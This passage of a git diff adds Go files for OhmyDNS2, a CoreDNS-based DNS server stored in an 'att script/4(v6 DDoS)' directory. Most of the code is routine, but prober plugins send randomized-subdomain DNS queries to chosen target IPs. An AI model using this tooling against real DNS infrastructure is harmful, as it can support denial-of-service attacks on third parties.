+ return tlsConfig, nil
+}
+
+func loadRoots(caPath string) (*x509.CertPool, error) {
+ if caPath == "" {
+ return nil, nil
+ }
+
+ roots := x509.NewCertPool()
+ pem, err := os.ReadFile(filepath.Clean(caPath))
+ if err != nil {
+ return nil, fmt.Errorf("error reading %s: %s", caPath, err)
+ }
+ ok := roots.AppendCertsFromPEM(pem)
+ if !ok {
+ return nil, fmt.Errorf("could not read root certs: %s", err)
+ }
+ return roots, nil
+}
+
+// NewHTTPSTransport returns an HTTP transport configured using tls.Config
+func NewHTTPSTransport(cc *tls.Config) *http.Transport {
+ tr := &http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ Dial: (&net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 30 * time.Second,
+ }).Dial,
+ TLSHandshakeTimeout: 10 * time.Second,
+ TLSClientConfig: cc,
+ MaxIdleConnsPerHost: 25,
+ }
+
+ return tr
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/trace/trace.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/trace/trace.go
new file mode 100644
index 0000000..f9255db
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/trace/trace.go
@@ -0,0 +1,7 @@
+package trace
+
+import ot "github.com/opentracing/opentracing-go"
+
+type Trace interface {
+ Tracer() ot.Tracer
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/transport/transport.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/transport/transport.go
new file mode 100644
index 0000000..742d4af
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/transport/transport.go
@@ -0,0 +1,26 @@
+package transport
+
+// These transports are supported by OhmyDNS.
+const (
+ DNS = "dns"
+ TLS = "tls"
+ GRPC = "grpc"
+ HTTPS = "https"
+ UNIX = "unix"
+ PROBER = "prober"
+ PROBERTRAN = "http"
+)
+
+// Port numbers for the various transports.
+const (
+ // Port is the default port for DNS
+ Port = "53"
+ // TLSPort is the default port for DNS-over-TLS.
+ TLSPort = "853"
+ // GRPCPort is the default port for DNS-over-gRPC.
+ GRPCPort = "443"
+ // HTTPSPort is the default port for DNS-over-HTTPS.
+ HTTPSPort = "443"
+ // PHTTPPort 是默认的探测器api调用端口
+ PROBERPort = "2115"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/uniq/uniq.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/uniq/uniq.go
new file mode 100644
index 0000000..5f95e41
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/uniq/uniq.go
@@ -0,0 +1,46 @@
+// Package uniq keeps track of "thing" that are either "todo" or "done". Multiple
+// identical events will only be processed once.
+package uniq
+
+// U keeps track of item to be done.
+type U struct {
+ u map[string]item
+}
+
+type item struct {
+ state int // either todo or done
+ f func() error // function to be executed.
+}
+
+// New returns a new initialized U.
+func New() U { return U{u: make(map[string]item)} }
+
+// Set sets function f in U under key. If the key already exists it is not overwritten.
+func (u U) Set(key string, f func() error) {
+ if _, ok := u.u[key]; ok {
+ return
+ }
+ u.u[key] = item{todo, f}
+}
+
+// Unset removes the key.
+func (u U) Unset(key string) {
+ delete(u.u, key)
+}
+
+// ForEach iterates over u and executes f for each element that is 'todo' and sets it to 'done'.
+func (u U) ForEach() error {
+ for k, v := range u.u {
+ if v.state == todo {
+ v.f()
+ }
+ v.state = done
+ u.u[k] = v
+ }
+ return nil
+}
+
+const (
+ todo = 1
+ done = 2
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/up/up.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/up/up.go
new file mode 100644
index 0000000..1e59acc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/up/up.go
@@ -0,0 +1,80 @@
+// Package up is used to run a function for some duration. If a new function is added while a previous run is
+// still ongoing, nothing new will be executed.
+package up
+
+import (
+ "sync"
+ "time"
+)
+
+// Probe is used to run a single Func until it returns true (indicating a target is healthy). If an Func
+// is already in progress no new one will be added, i.e. there is always a maximum of 1 checks in flight.
+//
+// There is a tradeoff to be made in figuring out quickly that an upstream is healthy and not doing to much work
+// (sending queries) to find that out. Having some kind of exp. backoff here won't help much, because you don't won't
+// to backoff too much. You then also need random queries to be perfomed every so often to quickly detect a working
+// upstream. In the end we just send a query every 0.5 second to check the upstream. This hopefully strikes a balance
+// between getting information about the upstream state quickly and not doing too much work. Note that 0.5s is still an
+// eternity in DNS, so we may actually want to shorten it.
+type Probe struct {
+ sync.Mutex
+ inprogress int
+ interval time.Duration
+}
+
+// Func is used to determine if a target is alive. If so this function must return nil.
+type Func func() error
+
+// New returns a pointer to an initialized Probe.
+func New() *Probe { return &Probe{} }
+
+// Do will probe target, if a probe is already in progress this is a noop.
+func (p *Probe) Do(f Func) {
+ p.Lock()
+ if p.inprogress != idle {
+ p.Unlock()
+ return
+ }
+ p.inprogress = active
+ interval := p.interval
+ p.Unlock()
+ // Passed the lock. Now run f for as long it returns false. If a true is returned
+ // we return from the goroutine and we can accept another Func to run.
+ go func() {
+ for {
+ if err := f(); err == nil {
+ break
+ }
+ time.Sleep(interval)
+ p.Lock()
+ if p.inprogress == stop {
+ p.Unlock()
+ return
+ }
+ p.Unlock()
+ }
+ p.Lock()
+ p.inprogress = idle
+ p.Unlock()
+ }()
+}
+
+// Stop stops the probing.
+func (p *Probe) Stop() {
+ p.Lock()
+ p.inprogress = stop
+ p.Unlock()
+}
+
+// Start will initialize the probe manager, after which probes can be initiated with Do.
+func (p *Probe) Start(interval time.Duration) {
+ p.Lock()
+ p.interval = interval
+ p.Unlock()
+}
+
+const (
+ idle = iota
+ active
+ stop
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin.go
new file mode 100644
index 0000000..3153b58
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin.go
@@ -0,0 +1,109 @@
+package plugin
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "github.com/miekg/dns"
+ ot "github.com/opentracing/opentracing-go"
+ "github.com/prometheus/client_golang/prometheus"
+)
+
+type (
+ // Plugin 是一个中间层,它定义了一个插件传递链,前一个 Handler 处理完成之后将紧接着传递到下一个 Handler。
+ Plugin func(Handler) Handler
+
+ // Handler is like dns.Handler except ServeDNS may return an rcode
+ // and/or error.
+ //
+ // If ServeDNS writes to the response body, it should return a status
+ // code. CoreDNS assumes *no* reply has yet been written if the status
+ // code is one of the following:
+ //
+ // * SERVFAIL (dns.RcodeServerFailure)
+ //
+ // * REFUSED (dns.RecodeRefused)
+ //
+ // * FORMERR (dns.RcodeFormatError)
+ //
+ // * NOTIMP (dns.RcodeNotImplemented)
+ //
+ // All other response codes signal other handlers above it that the
+ // response message is already written, and that they should not write
+ // to it also.
+ //
+ // If ServeDNS encounters an error, it should return the error value
+ // so it can be logged by designated error-handling plugin.
+ //
+ // If writing a response after calling another ServeDNS method, the
+ // returned rcode SHOULD be used when writing the response.
+ //
+ // If handling errors after calling another ServeDNS method, the
+ // returned error value SHOULD be logged or handled accordingly.
+ //
+ // Otherwise, return values should be propagated down the plugin
+ // chain by returning them unchanged.
+ Handler interface {
+ ServeDNS(context.Context, dns.ResponseWriter, *dns.Msg) (int, error)
+ Name() string
+ }
+
+ // HandlerFunc is a convenience type like dns.HandlerFunc, except
+ // ServeDNS returns an rcode and an error. See Handler
+ // documentation for more information.
+ HandlerFunc func(context.Context, dns.ResponseWriter, *dns.Msg) (int, error)
+)
+
+// ServeDNS implements the Handler interface.
+func (f HandlerFunc) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ return f(ctx, w, r)
+}
+
+// Name implements the Handler interface.
+func (f HandlerFunc) Name() string { return "handlerfunc" }
+
+// Error returns err with 'plugin/name: ' prefixed to it.
+func Error(name string, err error) error { return fmt.Errorf("%s/%s: %s", "plugin", name, err) }
+
+// NextOrFailure calls next.ServeDNS when next is not nil, otherwise it will return, a ServerFailure and a `no next plugin found` error.
+func NextOrFailure(name string, next Handler, ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { // nolint: golint
+ if next != nil {
+ if span := ot.SpanFromContext(ctx); span != nil {
+ child := span.Tracer().StartSpan(next.Name(), ot.ChildOf(span.Context()))
+ defer child.Finish()
+ ctx = ot.ContextWithSpan(ctx, child)
+ }
+ return next.ServeDNS(ctx, w, r)
+ }
+
+ return dns.RcodeServerFailure, Error(name, errors.New("no next plugin found"))
+}
+
+// ClientWrite returns true if the response has been written to the client.
+// Each plugin to adhere to this protocol.
+func ClientWrite(rcode int) bool {
+ switch rcode {
+ case dns.RcodeServerFailure:
+ fallthrough
+ case dns.RcodeRefused:
+ fallthrough
+ case dns.RcodeFormatError:
+ fallthrough
+ case dns.RcodeNotImplemented:
+ return false
+ }
+ return true
+}
+
+// Namespace is the namespace used for the metrics.
+const Namespace = "ohmydns2"
+
+// 普罗米修斯监控
+// TimeBuckets is based on Prometheus client_golang prometheus.DefBuckets
+var TimeBuckets = prometheus.ExponentialBuckets(0.00025, 2, 16) // from 0.25ms to 8 seconds
+
+// SlimTimeBuckets is low cardinality set of duration buckets.
+var SlimTimeBuckets = prometheus.ExponentialBuckets(0.00025, 10, 5) // from 0.25ms to 2.5 seconds
+
+// ErrOnce is returned when a plugin doesn't support multiple setups per server.
+var ErrOnce = errors.New("this plugin can only be used once per Server Block")
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin_prober.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin_prober.go
new file mode 100644
index 0000000..cf18468
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin_prober.go
@@ -0,0 +1,99 @@
+package plugin
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "github.com/miekg/dns"
+ ot "github.com/opentracing/opentracing-go"
+ "net/http"
+)
+
+type (
+ // Pplugin 是一个中间层,它定义了一个用于探测的插件传递链,前一个 Handler 处理完成之后将紧接着传递到下一个 Handler。
+ Pplugin func(Prober) Prober
+
+ // Prober except ProbeDNS may return an rcode
+ // and/or error.
+ //
+ // If ProbeDNS writes to the request body, it should return a status
+ // code. OhmyDNS2 assumes *no* reply has yet been written if the status
+ // code is one of the following:
+ //
+ // * SERVFAIL (dns.RcodeServerFailure)
+ //
+ // * REFUSED (dns.RecodeRefused)
+ //
+ // * FORMERR (dns.RcodeFormatError)
+ //
+ // * NOTIMP (dns.RcodeNotImplemented)
+ //
+ // All other response codes signal other handlers above it that the
+ // response message is already written, and that they should not write
+ // to it also.
+ //
+ // If ServeDNS encounters an error, it should return the error value
+ // so it can be logged by designated error-handling plugin.
+ //
+ // If writing a response after calling another ServeDNS method, the
+ // returned rcode SHOULD be used when writing the response.
+ //
+ // If handling errors after calling another ServeDNS method, the
+ // returned error value SHOULD be logged or handled accordingly.
+ //
+ // Otherwise, return values should be propagated down the plugin
+ // chain by returning them unchanged.
+ Prober interface {
+ ProbeDNS(context.Context, *dns.Client, *dns.Msg) (int, error)
+ Name() string
+ }
+
+ // ProberFunc is a convenience type, except
+ // ProbeDNS returns an rcode and an error. See Handler
+ // documentation for more information.
+ ProberFunc func(context.Context, *dns.Client, *dns.Msg) (int, error)
+)
+
+// ServeDNS implements the Handler interface.
+func (p ProberFunc) ProbeDNS(ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) {
+ return p(ctx, c, msg)
+}
+
+// Name implements the Handler interface.
+func (p ProberFunc) Name() string { return "proberfunc" }
+
+// PError returns err with 'plugin/name: ' prefixed to it.
+func PError(name string, err error) error { return fmt.Errorf("%s/%s: %s", "prober-plugin", name, err) }
+
+// PNextOrFailure calls next.ProbeDNS when next is not nil, otherwise it will return, a ServerFailure and a `no next plugin found` error.
+func PNextOrFailure(name string, next Prober, ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { // nolint: golint
+ if next != nil {
+ if span := ot.SpanFromContext(ctx); span != nil {
+ child := span.Tracer().StartSpan(next.Name(), ot.ChildOf(span.Context()))
+ defer child.Finish()
+ ctx = ot.ContextWithSpan(ctx, child)
+ }
+ return next.ProbeDNS(ctx, c, msg)
+ }
+
+ return http.StatusInternalServerError, Error(name, errors.New("no next plugin found"))
+}
+
+// HTTPClientWrite returns true if the response has been written to the client.
+// Each plugin to adhere to this protocol.
+func HTTPClientWrite(rcode int) bool {
+ switch rcode {
+ case http.StatusInternalServerError:
+ fallthrough
+ case http.StatusForbidden:
+ fallthrough
+ case http.StatusBadRequest:
+ fallthrough
+ case http.StatusNotImplemented:
+ return false
+ }
+ return true
+}
+
+// PErrOnce is returned when a plugin doesn't support multiple setups per server.
+var PErrOnce = errors.New("this plugin can only be used once per Server Block")
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/probe53.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/probe53.go
new file mode 100644
index 0000000..b39bda2
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/probe53.go
@@ -0,0 +1,27 @@
+package probe53
+
+import (
+ "context"
+ "github.com/miekg/dns"
+ "net"
+ "ohmydns2/plugin/pkg/prober"
+)
+
+type Probe53 struct {
+}
+
+func (p Probe53) ProbeDNS(ctx context.Context, client *dns.Client, msg *dns.Msg) (int, error) {
+ // ip+port作为目标
+ _, _, err := client.Exchange(msg, ctx.Value(target).(net.IP).String()+":53")
+ if err != nil {
+ logger.Errorf("探测%v发生错误,原因为: %v", ctx.Value(target).(net.IP).String(), err.Error())
+ return 1, err
+ }
+ return 0, nil
+}
+
+func (p Probe53) Name() string {
+ return "probe53"
+}
+
+var target = prober.Target
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/setup.go
new file mode 100644
index 0000000..cb3fb2b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/setup.go
@@ -0,0 +1,23 @@
+package probe53
+
+import (
+ "github.com/coredns/caddy"
+ "ohmydns2/core/prober"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/log"
+ //"ohmydns2/plugin/pkg/prober"
+)
+
+func init() {
+ plugin.ProbeRegister("probe53", setup)
+}
+
+func setup(c *caddy.Controller) error {
+ p := new(Probe53)
+ prober.GetPBConfig(c).AddPlugin(func(next plugin.Prober) plugin.Prober {
+ return p
+ })
+ return nil
+}
+
+var logger = log.NewWithPlugin("probe53")
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qname.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qname.go
new file mode 100644
index 0000000..1776f73
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qname.go
@@ -0,0 +1,89 @@
+package qname
+
+import (
+ "context"
+ "errors"
+ "github.com/miekg/dns"
+ "github.com/pochard/commons/randstr"
+ "net"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/prober"
+ "strconv"
+ "strings"
+)
+
+type Qname struct {
+ next plugin.Prober
+ setFromFile string
+ targetip net.IP
+}
+
+func (q Qname) ProbeDNS(ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) {
+ param := ctx.Value(prober.Paramkey).(map[string][]string)
+ // api中设定了qname参数,则以该参数为准
+ if v, ok := param["qname"]; ok {
+ msg.Question[0].Name = generateQname(v[0], ctx)
+ // 交由下一个插件处理
+ return plugin.PNextOrFailure(q.Name(), q.next, ctx, c, msg)
+ }
+ if q.setFromFile != "" {
+ // api中未设定,读取配置文件
+ msg.Question[0].Name = generateQname(q.setFromFile, ctx)
+ return plugin.PNextOrFailure(q.Name(), q.next, ctx, c, msg)
+ }
+ log.Error("未指定参数")
+ return 2, errors.New(q.Name() + ": 未指定参数")
+
+}
+
+func (q Qname) Name() string {
+ return "qname"
+}
+
+func generateQname(arg string, ctx context.Context) string {
+ args := strings.Split(arg, ".")
+ qname := ""
+ for _, v := range args {
+ // 含有( { [的视为函数部分
+ p, ok := intersectionStringsList(v, funcList)
+ if ok {
+ i := strings.Index(v, p) //进入循环表明一定有匹配
+ if f, fok := funcMap[v[:i]]; fok {
+ qname += f(v[i+1:len(v)-1], ctx)
+ }
+ }
+ // 不含直接添加
+ qname += v + "."
+ }
+ return qname
+}
+
+// 返回一定长度的随机字符串+"."
+func rand(d string, _ context.Context) string {
+ num, _ := strconv.Atoi(d)
+ return strings.ToLower(randstr.RandomAlphanumeric(num)) + "."
+}
+
+// 起始水印标识生成+".",如果为null则不生成
+func genMask(d string, ctx context.Context) string {
+ if d == "null" || d == "" {
+ return ""
+ }
+ return d + ip2id(ctx.Value(prober.Target).(net.IP)) + "."
+}
+
+func ip2id(ip net.IP) string {
+ // v4地址
+ if strings.Contains(ip.String(), ".") {
+ return strings.ReplaceAll(ip.String(), ".", "-")
+ }
+ return strings.ReplaceAll(ip.String(), ":", "-")
+}
+
+var funcList = []string{"(", ")", "{", "}", "[", "]"}
+
+// 表达式中的函数与实际处理函数的映射
+var funcMap = map[string]func(string, context.Context) string{
+ "rand": rand,
+ "smask": genMask,
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qnameutil.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qnameutil.go
new file mode 100644
index 0000000..177d6c8
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qnameutil.go
@@ -0,0 +1,13 @@
+package qname
+
+import "strings"
+
+// intersectionStringsList 判断字符串内是否有sublist中的元素,并返回匹配的元素
+func intersectionStringsList(str string, sublist []string) (string, bool) {
+ for _, item := range sublist {
+ if strings.Contains(str, item) {
+ return item, true
+ }
+ }
+ return "", false
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/setup.go
new file mode 100644
index 0000000..13dbba5
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/setup.go
@@ -0,0 +1,27 @@
+package qname
+
+import (
+ "github.com/coredns/caddy"
+ "ohmydns2/core/prober"
+ "ohmydns2/plugin"
+ olog "ohmydns2/plugin/pkg/log"
+ //"ohmydns2/plugin/pkg/prober"
+)
+
+func init() { plugin.ProbeRegister("qname", setup) }
+
+func setup(c *caddy.Controller) error {
+ qname := new(Qname)
+ // 存在参数,加载到结构体中
+ if c.NextArg() {
+ qname.setFromFile = c.RemainingArgs()[0]
+ }
+
+ prober.GetPBConfig(c).AddPlugin(func(next plugin.Prober) plugin.Prober {
+ return qname
+ })
+
+ return nil
+}
+
+var log = olog.NewWithPlugin("qname")
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/context.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/context.go
new file mode 100644
index 0000000..9c7ce55
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/context.go
@@ -0,0 +1,36 @@
+package prometheus
+
+import (
+ "context"
+ "ohmydns2/core/dnsserver"
+)
+
+// WithServer returns the current server handling the request. It returns the
+// server listening address: <scheme>://[<bind>]:<port> Normally this is
+// something like "dns://:53", but if the bind plugin is used, i.e. "bind
+// 127.0.0.53", it will be "dns://127.0.0.53:53", etc. If not address is found
+// the empty string is returned.
+//
+// Basic usage with a metric:
+//
+// <metric>.WithLabelValues(metrics.WithServer(ctx), labels..).Add(1)
+func WithServer(ctx context.Context) string {
+ srv := ctx.Value(dnsserver.Key{})
+ if srv == nil {
+ return ""
+ }
+ return srv.(*dnsserver.Server).Addr
+}
+
+// WithView returns the name of the view currently handling the request, if a view is defined.
+//
+// Basic usage with a metric:
+//
+// <metric>.WithLabelValues(metrics.WithView(ctx), labels..).Add(1)
+func WithView(ctx context.Context) string {
+ v := ctx.Value(dnsserver.ViewKey{})
+ if v == nil {
+ return ""
+ }
+ return v.(string)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/handler.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/handler.go
new file mode 100644
index 0000000..47fa172
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/handler.go
@@ -0,0 +1,56 @@
+package prometheus
+
+import (
+ "context"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/rcode"
+ "ohmydns2/plugin/pkg/request"
+ "ohmydns2/plugin/prometheus/vars"
+ "path/filepath"
+
+ "github.com/miekg/dns"
+)
+
+// ServeDNS implements the Handler interface.
+func (m *Metrics) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ state := request.Request{W: w, Req: r}
+
+ qname := state.QName()
+ zone := plugin.Zones(m.ZoneNames()).Matches(qname)
+ if zone == "" {
+ zone = "."
+ }
+
+ // Record response to get status code and size of the reply.
+ rw := NewRecorder(w)
+ status, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, rw, r)
+
+ rc := rw.Rcode
+ if !plugin.ClientWrite(status) {
+ // when no response was written, fallback to status returned from next plugin as this status
+ // is actually used as rcode of DNS response
+ // see https://github.com/coredns/coredns/blob/master/core/dnsserver/server.go#L318
+ rc = status
+ }
+ plugin := m.authoritativePlugin(rw.Caller)
+ vars.Report(WithServer(ctx), state, zone, WithView(ctx), rcode.ToString(rc), plugin, rw.Len, rw.Start)
+
+ return status, err
+}
+
+// Name implements the Handler interface.
+func (m *Metrics) Name() string { return "prometheus" }
+
+// authoritativePlugin returns which of made the write, if none is found the empty string is returned.
+func (m *Metrics) authoritativePlugin(caller [3]string) string {
+ // a b and c contain the full path of the caller, the plugin name 2nd last elements
+ // .../coredns/plugin/whoami/whoami.go --> whoami
+ // this is likely FS specific, so use filepath.
+ for _, c := range caller {
+ plug := filepath.Base(filepath.Dir(c))
+ if _, ok := m.plugins[plug]; ok {
+ return plug
+ }
+ }
+ return ""
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/metrics.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/metrics.go
new file mode 100644
index 0000000..ce58cbc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/metrics.go
@@ -0,0 +1,170 @@
+package prometheus
+
+import (
+ "context"
+ "net"
+ "net/http"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/reuseport"
+ "sync"
+ "time"
+
+ "github.com/coredns/caddy"
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "github.com/prometheus/client_golang/prometheus/promhttp"
+)
+
+// Metrics holds the prometheus configuration. The metrics' path is fixed to be /metrics .
+type Metrics struct {
+ Next plugin.Handler
+ Addr string
+ Reg *prometheus.Registry
+
+ ln net.Listener
+ lnSetup bool
+
+ mux *http.ServeMux
+ srv *http.Server
+
+ zoneNames []string
+ zoneMap map[string]struct{}
+ zoneMu sync.RWMutex
+
+ plugins map[string]struct{} // all available plugins, used to determine which plugin made the client write
+}
+
+// New returns a new instance of Metrics with the given address.
+func New(addr string) *Metrics {
+ met := &Metrics{
+ Addr: addr,
+ Reg: prometheus.DefaultRegisterer.(*prometheus.Registry),
+ zoneMap: make(map[string]struct{}),
+ plugins: pluginList(caddy.ListPlugins()),
+ }
+
+ return met
+}
+
+// MustRegister wraps m.Reg.MustRegister.
+func (m *Metrics) MustRegister(c prometheus.Collector) {
+ err := m.Reg.Register(c)
+ if err != nil {
+ // ignore any duplicate error, but fatal on any other kind of error
+ if _, ok := err.(prometheus.AlreadyRegisteredError); !ok {
+ log.Fatalf("Cannot register metrics collector: %s", err)
+ }
+ }
+}
+
+// AddZone adds zone z to m.
+func (m *Metrics) AddZone(z string) {
+ m.zoneMu.Lock()
+ m.zoneMap[z] = struct{}{}
+ m.zoneNames = keys(m.zoneMap)
+ m.zoneMu.Unlock()
+}
+
+// RemoveZone remove zone z from m.
+func (m *Metrics) RemoveZone(z string) {
+ m.zoneMu.Lock()
+ delete(m.zoneMap, z)
+ m.zoneNames = keys(m.zoneMap)
+ m.zoneMu.Unlock()
+}
+
+// ZoneNames returns the zones of m.
+func (m *Metrics) ZoneNames() []string {
+ m.zoneMu.RLock()
+ s := m.zoneNames
+ m.zoneMu.RUnlock()
+ return s
+}
+
+// OnStartup sets up the metrics on startup.
+func (m *Metrics) OnStartup() error {
+ ln, err := reuseport.Listen("tcp", m.Addr)
+ if err != nil {
+ log.Errorf("Failed to start metrics handler: %s", err)
+ return err
+ }
+
+ m.ln = ln
+ m.lnSetup = true
+
+ m.mux = http.NewServeMux()
+ m.mux.Handle("/metrics", promhttp.HandlerFor(m.Reg, promhttp.HandlerOpts{}))
+
+ // creating some helper variables to avoid data races on m.srv and m.ln
+ server := &http.Server{Handler: m.mux}
+ m.srv = server
+
+ go func() {
+ server.Serve(ln)
+ }()
+
+ ListenAddr = ln.Addr().String() // For tests.
+ return nil
+}
+
+// OnRestart stops the listener on reload.
+func (m *Metrics) OnRestart() error {
+ if !m.lnSetup {
+ return nil
+ }
+ u.Unset(m.Addr)
+ return m.stopServer()
+}
+
+func (m *Metrics) stopServer() error {
+ if !m.lnSetup {
+ return nil
+ }
+ ctx, cancel := context.WithTimeout(context.Background(), shutdownTimeout)
+ defer cancel()
+ if err := m.srv.Shutdown(ctx); err != nil {
+ log.Infof("Failed to stop prometheus http server: %s", err)
+ return err
+ }
+ m.lnSetup = false
+ m.ln.Close()
+ return nil
+}
+
+// OnFinalShutdown tears down the metrics listener on shutdown and restart.
+func (m *Metrics) OnFinalShutdown() error { return m.stopServer() }
+
+func keys(m map[string]struct{}) []string {
+ sx := []string{}
+ for k := range m {
+ sx = append(sx, k)
+ }
+ return sx
+}
+
+// pluginList iterates over the returned plugin map from caddy and removes the "dns." prefix from them.
+func pluginList(m map[string][]string) map[string]struct{} {
+ pm := map[string]struct{}{}
+ for _, p := range m["others"] {
+ // only add 'dns.' plugins
+ if len(p) > 3 {
+ pm[p[4:]] = struct{}{}
+ continue
+ }
+ }
+ return pm
+}
+
+// ListenAddr is assigned the address of the prometheus listener. Its use is mainly in tests where
+// we listen on "localhost:0" and need to retrieve the actual address.
+var ListenAddr string
+
+// shutdownTimeout is the maximum amount of time the metrics plugin will wait
+// before erroring when it tries to close the metrics server
+const shutdownTimeout time.Duration = time.Second * 5
+
+var buildInfo = promauto.NewGaugeVec(prometheus.GaugeOpts{
+ Namespace: plugin.Namespace,
+ Name: "build_info",
+ Help: "A metric with a constant '1' value labeled by version, revision, and goversion from which OhmyDNS was built.",
+}, []string{"version", "revision", "goversion"})
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/recorder.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/recorder.go
new file mode 100644
index 0000000..acb5263
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/recorder.go
@@ -0,0 +1,27 @@
+package prometheus
+
+import (
+ "ohmydns2/plugin/pkg/dnstest"
+ "runtime"
+
+ "github.com/miekg/dns"
+)
+
+// Recorder is a dnstest.Recorder specific to the metrics plugin.
+type Recorder struct {
+ *dnstest.Recorder
+ // CallerN holds the string return value of the call to runtime.Caller(N+1)
+ Caller [3]string
+}
+
+// NewRecorder makes and returns a new Recorder.
+func NewRecorder(w dns.ResponseWriter) *Recorder { return &Recorder{Recorder: dnstest.NewRecorder(w)} }
+
+// WriteMsg records the status code and calls the
+// underlying ResponseWriter's WriteMsg method.
+func (r *Recorder) WriteMsg(res *dns.Msg) error {
+ _, r.Caller[0], _, _ = runtime.Caller(1)
+ _, r.Caller[1], _, _ = runtime.Caller(2)
+ _, r.Caller[2], _, _ = runtime.Caller(3)
+ return r.Recorder.WriteMsg(res)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/registry.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/registry.go
new file mode 100644
index 0000000..c3dc9ff
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/registry.go
@@ -0,0 +1,28 @@
+package prometheus
+
+import (
+ "sync"
+
+ "github.com/prometheus/client_golang/prometheus"
+)
+
+type reg struct {
+ sync.RWMutex
+ r map[string]*prometheus.Registry
+}
+
+func newReg() *reg { return &reg{r: make(map[string]*prometheus.Registry)} }
+
+// update sets the registry if not already there and returns the input. Or it returns
+// a previous set value.
+func (r *reg) getOrSet(addr string, pr *prometheus.Registry) *prometheus.Registry {
+ r.Lock()
+ defer r.Unlock()
+
+ if v, ok := r.r[addr]; ok {
+ return v
+ }
+
+ r.r[addr] = pr
+ return pr
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/setup.go
new file mode 100644
index 0000000..e5ca825
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/setup.go
@@ -0,0 +1,106 @@
+package prometheus
+
+import (
+ "net"
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/ohmain"
+ "ohmydns2/plugin"
+ olog "ohmydns2/plugin/pkg/log"
